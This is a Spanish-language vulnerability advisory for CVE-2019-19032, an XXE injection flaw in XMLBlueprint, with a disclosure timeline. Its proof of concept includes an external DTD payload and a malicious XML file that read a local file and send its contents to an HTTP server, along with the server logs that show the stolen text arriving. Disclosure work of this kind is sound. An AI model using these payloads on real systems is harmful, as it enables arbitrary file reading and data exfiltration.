CVE-2019-19032 XMLBlueprint <= 16.191112 - Inyección XML (XXE)

Resumen

Se ha detectado una vulnerabilidad de inyección XML (XXE) basada en entidades externas (DTD) en el software XMLBlueprint versión 16.191112 y posiblemente anteriores. Esta vulnerabilidad está asociada al CVE-2019-19032.

Impacto

Un usuario malintencionado, podría generar un archivo XML malicioso con la intención de causar una denegación de servicio a la aplicación o leer archivos arbitrarios del sistema.

Prueba de concepto

1. Iniciar un servidor web.

python -m SimpleHTTPServer 80

2. Subir el siguiente archivo payload.dtd al servidor.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

3. Crear un archivo de texto (secret.txt) en el escritorio con cualquier contenido.

4. Generar el siguiente archivo XML malicioso y abrirlo con el software para validarlo.

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///C:\Users\jolmedo\Desktop\secret.txt">
<!ENTITY % dtd SYSTEM "http://localhost:80/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

5. En el servidor web, se recibirá una petición con el contenido del archivo de texto.

Serving HTTP on 0.0.0.0 port 8000 ...
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /payload.dtd HTTP/1.1" 200 -
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -

Timeline

14, noviembre 2019 – [RESEARCHER] Descubierto
14, noviembre 2019 – [RESEARCHER] Reportado al desarrollador
22, noviembre 2019 – [RESEARCHER] Envío de reporte detallado con prueba de concepto
24, noviembre 2019 – [RESEARCHER] Divulgación pública

Advertencia

  • La información contenida en este aviso se proporciona sin ningún tipo de garantía de uso o de otro tipo.
  • Por la presente, se permite la redistribución de este aviso explícitamente para su inserción en bases de datos de vulnerabilidad y similares, siempre que no se modifique, excepto reformanteándolo, y se otorgue el debido crédito al autor.
  • El autor prohíbe el uso malicioso de la información aquí contenida y no acepta ninguna responsabilidad.

Deja tu comentario

Ir arriba